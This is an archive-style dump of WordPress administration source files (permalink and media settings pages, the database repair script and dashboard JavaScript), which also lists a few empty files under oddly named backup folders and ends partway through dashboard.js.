$permalink_structure, $default_structure_values, true ) ); ?> /> <div> <label for="custom_selection"><?php _e( 'Custom Structure' ); ?></label> <p> <label for="permalink_structure" class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Customize permalink structure by selecting available tags' ); ?> </label> <span class="code"> <code id="permalink-custom"><?php echo esc_url( $url_base ); ?></code> <input name="permalink_structure" id="permalink_structure" type="text" value="<?php echo esc_attr( $permalink_structure ); ?>" aria-describedby="permalink-custom" class="regular-text code" /> </span> </p> <div class="available-structure-tags hide-if-no-js"> <div id="custom_selection_updated" aria-live="assertive" class="screen-reader-text"></div> <?php if ( ! empty( $available_tags ) ) : ?> <fieldset> <legend><?php _e( 'Available tags:' ); ?></legend> <ul role="list"> <?php foreach ( $available_tags as $tag => $explanation ) : ?> <li> <button type="button" class="button button-secondary" aria-label="<?php echo esc_attr( sprintf( $explanation, $tag ) ); ?>" data-added="<?php echo esc_attr( sprintf( $tag_added, $tag ) ); ?>" data-removed="<?php echo esc_attr( sprintf( $tag_removed, $tag ) ); ?>" data-used="<?php echo esc_attr( sprintf( $tag_already_used, $tag ) ); ?>"> <?php echo '%' . esc_html( $tag ) . '%'; ?> </button> </li> <?php endforeach; ?> </ul> </fieldset> <?php endif; ?> </div><!-- .available-structure-tags --> </div> </div><!-- .row --> </fieldset><!-- .structure-selection --> </td> </tr> </tbody> </table> <h2 class="title"><?php _e( 'Optional' ); ?></h2> <p class="permalink-structure-optional-description"> <?php printf( /* translators: %s: Placeholder that must come at the start of the URL. */ __( 'If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.' ), $url_base ); ?> </p> <table class="form-table" role="presentation"> <tr> <th> <label for="category_base"> <?php /* translators: Prefix for category permalinks. */ _e( 'Category base' ); ?> </label> </th> <td> <?php if ( '' === $blog_prefix ) : ?> <input name="category_base" id="category_base" type="text" value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code" /> <?php else : ?> <span class="code permalink-structure-has-blog-prefix"> <code class="no-break"><?php echo $blog_prefix; ?></code> <input name="category_base" id="category_base" type="text" value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code" /> </span> <?php endif; ?> </td> </tr> <tr> <th> <label for="tag_base"><?php _e( 'Tag base' ); ?></label> </th> <td> <?php if ( '' === $blog_prefix ) : ?> <input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr( $tag_base ); ?>" class="regular-text code" /> <?php else : ?> <span class="code permalink-structure-has-blog-prefix"> <code class="no-break"><?php echo $blog_prefix; ?></code> <input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr( $tag_base ); ?>" class="regular-text code" /> </span> <?php endif; ?> </td> </tr> <?php do_settings_fields( 'permalink', 'optional' ); ?> </table> <?php do_settings_sections( 'permalink' ); ?> <?php submit_button(); ?> </form> <?php if ( ! is_multisite() ) : ?> <?php if ( $iis7_permalinks ) : if ( isset( $_POST['submit'] ) && $permalink_structure && ! $using_index_permalinks && ! $writable ) : if ( file_exists( $home_path . 'web.config' ) ) : ?> <p id="iis-description-a"> <?php printf( /* translators: 1: web.config, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A, 5: Element code. */ __( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. This is the URL rewrite rule you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this rule inside of the %5$s element in %1$s file.' ), '<code>web.config</code>', __( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ), '<kbd>Ctrl + A</kbd>', '<kbd>⌘ + A</kbd>', '<code>/<configuration>/<system.webServer>/<rewrite>/<rules></code>' ); ?> </p> <form action="options-permalink.php" method="post"> <?php wp_nonce_field( 'update-permalink' ); ?> <p> <label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br /> <textarea rows="9" class="large-text readonly" name="rules" id="rules" readonly="readonly" aria-describedby="iis-description-a" ><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea> </p> </form> <p> <?php printf( /* translators: %s: web.config */ __( 'If you temporarily make your %s file writable to generate rewrite rules automatically, do not forget to revert the permissions after the rule has been saved.' ), '<code>web.config</code>' ); ?> </p> <?php else : ?> <p id="iis-description-b"> <?php printf( /* translators: 1: Documentation URL, 2: web.config, 3: Ctrl + A, 4: ⌘ + A */ __( '<strong>Error:</strong> The root directory of your site is not <a href="%1$s">writable</a>, so creating a file automatically was not possible. This is the URL rewrite rule you should have in your %2$s file. Create a new file called %2$s in the root directory of your site. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this code into the %2$s file.' ), __( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ), '<code>web.config</code>', '<kbd>Ctrl + A</kbd>', '<kbd>⌘ + A</kbd>' ); ?> </p> <form action="options-permalink.php" method="post"> <?php wp_nonce_field( 'update-permalink' ); ?> <p> <label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br /> <textarea rows="18" class="large-text readonly" name="rules" id="rules" readonly="readonly" aria-describedby="iis-description-b" ><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules( true ) ); ?></textarea> </p> </form> <p> <?php printf( /* translators: %s: web.config */ __( 'If you temporarily make your site’s root directory writable to generate the %s file automatically, do not forget to revert the permissions after the file has been created.' ), '<code>web.config</code>' ); ?> </p> <?php endif; // End if 'web.config' exists. ?> <?php endif; // End if $_POST['submit'] && ! $writable. ?> <?php else : ?> <?php if ( $permalink_structure && ! $using_index_permalinks && ! $writable && $htaccess_update_required ) : ?> <p id="htaccess-description"> <?php printf( /* translators: 1: .htaccess, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A */ __( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. These are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all.' ), '<code>.htaccess</code>', __( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ), '<kbd>Ctrl + A</kbd>', '<kbd>⌘ + A</kbd>' ); ?> </p> <form action="options-permalink.php" method="post"> <?php wp_nonce_field( 'update-permalink' ); ?> <p> <label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br /> <textarea rows="8" class="large-text readonly" name="rules" id="rules" readonly="readonly" aria-describedby="htaccess-description" ><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea> </p> </form> <?php endif; // End if ! $writable && $htaccess_update_required. ?> <?php endif; // End if $iis7_permalinks. ?> <?php endif; // End if ! is_multisite(). ?> </div><!-- .wrap --> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> options-media.php 0000644 00000014602 15233246127 0010035 0 ustar 00 <?php /** * Media settings administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_options' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } // Used in the HTML title tag. $title = __( 'Media Settings' ); $parent_file = 'options-general.php'; $media_options_help = '<p>' . __( 'You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.' ) . '</p>'; if ( ! is_multisite() && ( get_option( 'upload_url_path' ) || get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) ) ) { $media_options_help .= '<p>' . __( 'Uploading Files allows you to choose the folder and path for storing your uploaded files.' ) . '</p>'; } $media_options_help .= '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $media_options_help, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-media-screen/">Documentation on Media Settings</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form action="options.php" method="post"> <?php settings_fields( 'media' ); ?> <h2 class="title"><?php _e( 'Image sizes' ); ?></h2> <p><?php _e( 'The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library.' ); ?></p> <table class="form-table" role="presentation"> <?php $thumbnail_size_title = __( 'Thumbnail size' ); ?> <tr> <th scope="row"><?php echo $thumbnail_size_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $thumbnail_size_title; ?></span></legend> <label for="thumbnail_size_w"><?php _e( 'Width' ); ?></label> <input name="thumbnail_size_w" type="number" step="1" min="0" id="thumbnail_size_w" value="<?php form_option( 'thumbnail_size_w' ); ?>" class="small-text" /> <br /> <label for="thumbnail_size_h"><?php _e( 'Height' ); ?></label> <input name="thumbnail_size_h" type="number" step="1" min="0" id="thumbnail_size_h" value="<?php form_option( 'thumbnail_size_h' ); ?>" class="small-text" /> </fieldset> <input name="thumbnail_crop" type="checkbox" id="thumbnail_crop" value="1"<?php checked( '1', get_option( 'thumbnail_crop' ) ); ?> /> <label for="thumbnail_crop"><?php _e( 'Crop thumbnail to exact dimensions (normally thumbnails are proportional)' ); ?></label> </td> </tr> <?php $medium_size_title = __( 'Medium size' ); ?> <tr> <th scope="row"><?php echo $medium_size_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $medium_size_title; ?></span></legend> <label for="medium_size_w"><?php _e( 'Max Width' ); ?></label> <input name="medium_size_w" type="number" step="1" min="0" id="medium_size_w" value="<?php form_option( 'medium_size_w' ); ?>" class="small-text" /> <br /> <label for="medium_size_h"><?php _e( 'Max Height' ); ?></label> <input name="medium_size_h" type="number" step="1" min="0" id="medium_size_h" value="<?php form_option( 'medium_size_h' ); ?>" class="small-text" /> </fieldset></td> </tr> <?php $large_size_title = __( 'Large size' ); ?> <tr> <th scope="row"><?php echo $large_size_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $large_size_title; ?></span></legend> <label for="large_size_w"><?php _e( 'Max Width' ); ?></label> <input name="large_size_w" type="number" step="1" min="0" id="large_size_w" value="<?php form_option( 'large_size_w' ); ?>" class="small-text" /> <br /> <label for="large_size_h"><?php _e( 'Max Height' ); ?></label> <input name="large_size_h" type="number" step="1" min="0" id="large_size_h" value="<?php form_option( 'large_size_h' ); ?>" class="small-text" /> </fieldset></td> </tr> <?php do_settings_fields( 'media', 'default' ); ?> </table> <?php /** * @global array $wp_settings */ if ( isset( $GLOBALS['wp_settings']['media']['embeds'] ) ) : ?> <h2 class="title"><?php _e( 'Embeds' ); ?></h2> <table class="form-table" role="presentation"> <?php do_settings_fields( 'media', 'embeds' ); ?> </table> <?php endif; ?> <?php if ( ! is_multisite() ) : ?> <h2 class="title"><?php _e( 'Uploading Files' ); ?></h2> <table class="form-table" role="presentation"> <?php /* * If upload_url_path is not the default (empty), * or upload_path is not the default ('wp-content/uploads' or empty), * they can be edited, otherwise they're locked. */ if ( get_option( 'upload_url_path' ) || get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) ) : ?> <tr> <th scope="row"><label for="upload_path"><?php _e( 'Store uploads in this folder' ); ?></label></th> <td><input name="upload_path" type="text" id="upload_path" value="<?php echo esc_attr( get_option( 'upload_path' ) ); ?>" class="regular-text code" /> <p class="description"> <?php /* translators: %s: wp-content/uploads */ printf( __( 'Default is %s' ), '<code>wp-content/uploads</code>' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="upload_url_path"><?php _e( 'Full URL path to files' ); ?></label></th> <td><input name="upload_url_path" type="text" id="upload_url_path" value="<?php echo esc_attr( get_option( 'upload_url_path' ) ); ?>" class="regular-text code" /> <p class="description"><?php _e( 'Configuring this is optional. By default, it should be blank.' ); ?></p> </td> </tr> <tr> <td colspan="2" class="td-full"> <?php else : ?> <tr> <td class="td-full"> <?php endif; ?> <label for="uploads_use_yearmonth_folders"> <input name="uploads_use_yearmonth_folders" type="checkbox" id="uploads_use_yearmonth_folders" value="1"<?php checked( '1', get_option( 'uploads_use_yearmonth_folders' ) ); ?> /> <?php _e( 'Organize my uploads into month- and year-based folders' ); ?> </label> </td> </tr> <?php do_settings_fields( 'media', 'uploads' ); ?> </table> <?php endif; ?> <?php do_settings_sections( 'media' ); ?> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> maint/repair.php 0000644 00000016737 15233246127 0007672 0 ustar 00 <?php /** * Database Repair and Optimization Script. * * @package WordPress * @subpackage Database */ define( 'WP_REPAIRING', true ); require_once dirname( __DIR__, 2 ) . '/wp-load.php'; header( 'Content-Type: text/html; charset=utf-8' ); ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="noindex,nofollow" /> <title><?php _e( 'WordPress › Database Repair' ); ?></title> <?php wp_admin_css( 'install', true ); ?> </head> <body class="wp-core-ui admin-color-modern"> <p id="logo"><?php _e( 'WordPress' ); ?></p> <?php if ( ! defined( 'WP_ALLOW_REPAIR' ) || ! WP_ALLOW_REPAIR ) { echo '<h1 class="screen-reader-text">' . /* translators: Hidden accessibility text. */ __( 'Allow automatic database repair' ) . '</h1>'; echo '<p>'; printf( /* translators: %s: wp-config.php */ __( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ), '<code>wp-config.php</code>' ); echo "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>"; $default_keys = array_unique( array( 'put your unique phrase here', /* * translators: This string should only be translated if wp-config-sample.php is localized. * You can check the localized release package or * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php */ __( 'put your unique phrase here' ), ) ); $missing_key = false; $duplicated_keys = array(); foreach ( array( 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT' ) as $key ) { if ( defined( $key ) ) { // Check for unique values of each key. $duplicated_keys[ constant( $key ) ] = isset( $duplicated_keys[ constant( $key ) ] ); } else { // If a constant is not defined, it's missing. $missing_key = true; } } // If at least one key uses a default value, consider it duplicated. foreach ( $default_keys as $default_key ) { if ( isset( $duplicated_keys[ $default_key ] ) ) { $duplicated_keys[ $default_key ] = true; } } // Weed out all unique, non-default values. $duplicated_keys = array_filter( $duplicated_keys ); if ( $duplicated_keys || $missing_key ) { echo '<h2 class="screen-reader-text">' . /* translators: Hidden accessibility text. */ __( 'Check secret keys' ) . '</h2>'; /* translators: 1: wp-config.php, 2: Secret key service URL. */ echo '<p>' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the <a href="%2$s">WordPress.org secret key service</a>.' ), '<code>wp-config.php</code>', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '</p>'; } } elseif ( isset( $_GET['repair'] ) ) { echo '<h1 class="screen-reader-text">' . /* translators: Hidden accessibility text. */ __( 'Database repair results' ) . '</h1>'; $optimize = '2' === $_GET['repair']; $okay = true; $problems = array(); $tables = $wpdb->tables(); /** * Filters additional database tables to repair. * * @since 3.0.0 * * @param string[] $tables Array of prefixed table names to be repaired. */ $tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) ); // Loop over the tables, checking and repairing as needed. foreach ( $tables as $table ) { $check = $wpdb->get_row( $wpdb->prepare( 'CHECK TABLE %i', $table ) ); echo '<p>'; if ( 'OK' === $check->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'The %s table is okay.' ), "<code>$table</code>" ); } else { /* translators: 1: Table name, 2: Error message. */ printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table…' ), "<code>$table</code>", "<code>$check->Msg_text</code>" ); $repair = $wpdb->get_row( $wpdb->prepare( 'REPAIR TABLE %i', $table ) ); echo '<br /> '; if ( 'OK' === $repair->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'Successfully repaired the %s table.' ), "<code>$table</code>" ); } else { /* translators: 1: Table name, 2: Error message. */ printf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$repair->Msg_text</code>" ) . '<br />'; $problems[ $table ] = $repair->Msg_text; $okay = false; } } if ( $okay && $optimize ) { $analyze = $wpdb->get_row( $wpdb->prepare( 'ANALYZE TABLE %i', $table ) ); echo '<br /> '; if ( 'Table is already up to date' === $analyze->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'The %s table is already optimized.' ), "<code>$table</code>" ); } else { $optimize = $wpdb->get_row( $wpdb->prepare( 'OPTIMIZE TABLE %i', $table ) ); echo '<br /> '; if ( 'OK' === $optimize->Msg_text || 'Table is already up to date' === $optimize->Msg_text ) { /* translators: %s: Table name. */ printf( __( 'Successfully optimized the %s table.' ), "<code>$table</code>" ); } else { /* translators: 1: Table name. 2: Error message. */ printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$optimize->Msg_text</code>" ); } } } echo '</p>'; } if ( $problems ) { printf( /* translators: %s: URL to "Fixing WordPress" forum. */ '<p>' . __( 'Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href="%s">WordPress support forums</a> to get additional assistance.' ) . '</p>', __( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' ) ); $problem_output = ''; foreach ( $problems as $table => $problem ) { $problem_output .= "$table: $problem\n"; } echo '<p><textarea name="errors" id="errors" rows="20" cols="60">' . esc_textarea( $problem_output ) . '</textarea></p>'; } else { echo '<p>' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>"; } } else { echo '<h1 class="screen-reader-text">' . /* translators: Hidden accessibility text. */ __( 'WordPress database repair' ) . '</h1>'; if ( isset( $_GET['referrer'] ) && 'is_blog_installed' === $_GET['referrer'] ) { echo '<p>' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the “Repair Database” button. Repairing can take a while, so please be patient.' ) . '</p>'; } else { echo '<p>' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '</p>'; } ?> <p class="step"><a class="button button-large" href="repair.php?repair=1"><?php _e( 'Repair Database' ); ?></a></p> <p><?php _e( 'WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing.' ); ?></p> <p class="step"><a class="button button-large" href="repair.php?repair=2"><?php _e( 'Repair and Optimize Database' ); ?></a></p> <?php } ?> </body> </html> maint/backup/2024/media/2025/images/dist/jwb/mcrpr/admin.php 0000644 00000000000 15233246127 0017070 0 ustar 00 maint/backup/2024/vnr/index.php 0000644 00000000000 15233246127 0012130 0 ustar 00 maint/backup/2024/build/build/files/docs/js/txxvh/admin.php 0000644 00000000000 15233246127 0017331 0 ustar 00 js/set-post-thumbnail.js 0000644 00000001554 15233246127 0011267 0 ustar 00 /** * @output wp-admin/js/set-post-thumbnail.js */ /* global ajaxurl, post_id, alert */ /* exported WPSetAsThumbnail */ window.WPSetAsThumbnail = function( id, nonce ) { var $link = jQuery('a#wp-post-thumbnail-' + id); $link.text( wp.i18n.__( 'Saving…' ) ); jQuery.post(ajaxurl, { action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie ) }, function(str){ var win = window.dialogArguments || opener || parent || top; $link.text( wp.i18n.__( 'Use as featured image' ) ); if ( str == '0' ) { alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); } else { jQuery('a.wp-post-thumbnail').show(); $link.text( wp.i18n.__( 'Done' ) ); $link.fadeOut( 2000 ); win.WPSetThumbnailID(id); win.WPSetThumbnailHTML(str); } } ); }; js/dashboard.js 0000644 00000066022 15233246127 0007460 0 ustar 00 /** * @output wp-admin/js/dashboard.js */ /* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */ /* global ajaxPopulateWidgets, quickPressLoad, */ window.wp = window.wp || {}; window.communityEventsData = window.communityEventsData || {}; /** * Initializes the dashboard widget functionality. * * @since 2.7.0 */ jQuery( function($) { var welcomePanel = $( '#welcome-panel' ), welcomePanelHide = $('#wp_welcome_panel-hide'), updateWelcomePanel; /** * Saves the visibility of the welcome panel. * * @since 3.3.0 * * @param {boolean} visible Should it be visible or not. * * @return {void} */ updateWelcomePanel = function( visible ) { $.post( ajaxurl, { action: 'update-welcome-panel', visible: visible, welcomepanelnonce: $( '#welcomepanelnonce' ).val() }, function() { wp.a11y.speak( wp.i18n.__( 'Screen Options updated.' ) ); } ); }; // Unhide the welcome panel if the Welcome Option checkbox is checked. if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) { welcomePanel.removeClass('hidden'); } // Hide the welcome panel when the dismiss button or close button is clicked. $('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) { e.preventDefault(); welcomePanel.addClass('hidden'); updateWelcomePanel( 0 ); $('#wp_welcome_panel-hide').prop('checked', false); }); // Set welcome panel visibility based on Welcome Option checkbox value. welcomePanelHide.on( 'click', function() { welcomePanel.toggleClass('hidden', ! this.checked ); updateWelcomePanel( this.checked ? 1 : 0 ); }); /** * These widgets can be populated via ajax. * * @since 2.7.0 * * @type {string[]} * * @global */ window.ajaxWidgets = ['dashboard_primary']; /** * Triggers widget updates via Ajax. * * @since 2.7.0 * * @global * * @param {string} el Optional. Widget to fetch or none to update all. * * @return {void} */ window.ajaxPopulateWidgets = function(el) { /** * Fetch the latest representation of the widget via Ajax and show it. * * @param {number} i Number of half-seconds to use as the timeout. * @param {string} id ID of the element which is going to be checked for changes. * * @return {void} */ function show(i, id) { var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading'); // If the element is found in the dom, queue to load latest representation. if ( e.length ) { p = e.parent(); setTimeout( function(){ // Request the widget content. p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() { // Hide the parent and slide it out for visual fanciness. p.hide().slideDown('normal', function(){ $(this).css('display', ''); }); }); }, i * 500 ); } } // If we have received a specific element to fetch, check if it is valid. if ( el ) { el = el.toString(); // If the element is available as Ajax widget, show it. if ( $.inArray(el, ajaxWidgets) !== -1 ) { // Show element without any delay. show(0, el); } } else { // Walk through all ajaxWidgets, loading them after each other. $.each( ajaxWidgets, show ); } }; // Initially populate ajax widgets. ajaxPopulateWidgets(); // Register ajax widgets as postbox toggles. postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } ); /** * Control the Quick Press (Quick Draft) widget. * * @since 2.7.0 * * @global * * @return {void} */ window.quickPressLoad = function() { var act = $('#quickpost-action'), t; // Enable the submit buttons. $( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false ); t = $('#quick-press').on( 'submit', function( e ) { e.preventDefault(); // Show a spinner. $('#dashboard_quick_press #publishing-action .spinner').show(); // Disable the submit button to prevent duplicate submissions. $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true); // Post the entered data to save it. $.post( t.attr( 'action' ), t.serializeArray(), function( data ) { // Replace the form, and prepend the published post. $('#dashboard_quick_press .inside').html( data ); $('#quick-press').removeClass('initial-form'); quickPressLoad(); highlightLatestPost(); // Focus the title to allow for quickly drafting another post. $('#title').trigger( 'focus' ); }); /** * Highlights the latest post for one second. * * @return {void} */ function highlightLatestPost () { var latestPost = $('.drafts ul li').first(); latestPost.css('background', '#fffbe5'); setTimeout(function () { latestPost.css('background', 'none'); }, 1000); } } ); // Change the QuickPost action to the publish value. $('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } ); $('#quick-press').on( 'click focusin', function() { wpActiveEditor = 'content'; }); autoResizeTextarea(); }; window.quickPressLoad(); // Enable the dragging functionality of the widgets. $( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' ); /** * Adjust the height of the textarea based on the content. * * @since 3.6.0 * * @return {void} */ function autoResizeTextarea() { // When IE8 or older is used to render this document, exit. if ( document.documentMode && document.documentMode < 9 ) { return; } // Add a hidden div. We'll copy over the text from the textarea to measure its height. $('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' ); var clone = $('.quick-draft-textarea-clone'), editor = $('#content'), editorHeight = editor.height(), /* * 100px roughly accounts for browser chrome and allows the * save draft button to show on-screen at the same time. */ editorMaxHeight = $(window).height() - 100; /* * Match up textarea and clone div as much as possible. * Padding cannot be reliably retrieved using shorthand in all browsers. */ clone.css({ 'font-family': editor.css('font-family'), 'font-size': editor.css('font-size'), 'line-height': editor.css('line-height'), 'padding-bottom': editor.css('paddingBottom'), 'padding-left': editor.css('paddingLeft'), 'padding-right': editor.css('paddingRight'), 'padding-top': editor.css('paddingTop'), 'white-space': 'pre-wrap', 'word-wrap': 'break-word', 'display': 'none' }); // The 'propertychange' is used in IE < 9. editor.on('focus input propertychange', function() { var $this = $(this), // Add a non-breaking space to ensure that the height of a trailing newline is // included. textareaContent = $this.val() + ' ', // Add 2px to compensate for border-top & border-bottom. cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2; // Default to show a vertical scrollbar, if needed. editor.css('overflow-y', 'auto'); // Only change the height if it has changed and both heights are below the max. if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) { return; } /* * Don't allow editor to exceed the height of the window. * This is also bound in CSS to a max-height of 1300px to be extra safe. */ if ( cloneHeight > editorMaxHeight ) { editorHeight = editorMaxHeight; } else { editorHeight = cloneHeight; } // Disable scrollbars because we adjust the height to the content. editor.css('overflow', 'hidden'); $this.css('height', editorHeight + 'px'); }); } } ); jQuery( function( $ ) { 'use strict'; var communityEventsData = window.communityEventsData, dateI18n = wp.date.dateI18n, format = wp.date.format, sprintf = wp.i18n.sprintf, __ = wp.i18n.__, _x = wp.i18n._x, app; /** * Global Community Events namespace. * * @since 4.8.0 * * @memberOf wp * @namespace wp.communityEvents */ app = window.wp.communityEvents = /** @lends wp.communityEvents */{ initialized: false, model: null, /** * Initializes the wp.communityEvents object. * * @since 4.8.0 * * @return {void} */ init: function() { if ( app.initialized ) { return; } var $container = $( '#community-events' ); /* * When JavaScript is disabled, the errors container is shown, so * that "This widget requires JavaScript" message can be seen. * * When JS is enabled, the container is hidden at first, and then * revealed during the template rendering, if there actually are * errors to show. * * The display indicator switches from `hide-if-js` to `aria-hidden` * here in order to maintain consistency with all the other fields * that key off of `aria-hidden` to determine their visibility. * `aria-hidden` can't be used initially, because there would be no * way to set it to false when JavaScript is disabled, which would * prevent people from seeing the "This widget requires JavaScript" * message. */ $( '.community-events-errors' ) .attr( 'aria-hidden', 'true' ) .removeClass( 'hide-if-js' ); $container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm ); /** * Filters events based on entered location. * * @return {void} */ $container.on( 'submit', '.community-events-form', function( event ) { var location = $( '#community-events-location' ).val().trim(); event.preventDefault(); /* * Don't trigger a search if the search field is empty or the * search term was made of only spaces before being trimmed. */ if ( ! location ) { return; } app.getEvents({ location: location }); }); if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) { app.renderEventsTemplate( communityEventsData.cache, 'app' ); } else { app.getEvents(); } app.initialized = true; }, /** * Toggles the visibility of the Edit Location form. * * @since 4.8.0 * * @param {event|string} action 'show' or 'hide' to specify a state; * or an event object to flip between states. * * @return {void} */ toggleLocationForm: function( action ) { var $toggleButton = $( '.community-events-toggle-location' ), $cancelButton = $( '.community-events-cancel' ), $form = $( '.community-events-form' ), $target = $(); if ( 'object' === typeof action ) { // The action is the event object: get the clicked element. $target = $( action.target ); /* * Strict comparison doesn't work in this case because sometimes * we explicitly pass a string as value of aria-expanded and * sometimes a boolean as the result of an evaluation. */ action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show'; } if ( 'hide' === action ) { $toggleButton.attr( 'aria-expanded', 'false' ); $cancelButton.attr( 'aria-expanded', 'false' ); $form.attr( 'aria-hidden', 'true' ); /* * If the Cancel button has been clicked, bring the focus back * to the toggle button so users relying on screen readers don't * lose their place. */ if ( $target.hasClass( 'community-events-cancel' ) ) { $toggleButton.trigger( 'focus' ); } } else { $toggleButton.attr( 'aria-expanded', 'true' ); $cancelButton.attr( 'aria-expanded', 'true' ); $form.attr( 'aria-hidden', 'false' ); } }, /** * Sends REST API requests to fetch events for the widget. * * @since 4.8.0 * * @param {Object} requestParams REST API Request parameters object. * * @return {void} */ getEvents: function( requestParams ) { var initiatedBy, app = this, $spinner = $( '.community-events-form' ).children( '.spinner' ); requestParams = requestParams || {}; requestParams._wpnonce = communityEventsData.nonce; requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : ''; initiatedBy = requestParams.location ? 'user' : 'app'; $spinner.addClass( 'is-active' ); wp.ajax.post( 'get-community-events', requestParams ) .always( function() { $spinner.removeClass( 'is-active' ); }) .done( function( response ) { if ( 'no_location_available' === response.error ) { if ( requestParams.location ) { response.unknownCity = requestParams.location; } else { /* * No location was passed, which means that this was an automatic query * based on IP, locale, and timezone. Since the user didn't initiate it, * it should fail silently. Otherwise, the error could confuse and/or * annoy them. */ delete response.error; } } app.renderEventsTemplate( response, initiatedBy ); }) .fail( function() { app.renderEventsTemplate({ 'location' : false, 'events' : [], 'error' : true }, initiatedBy ); }); }, /** * 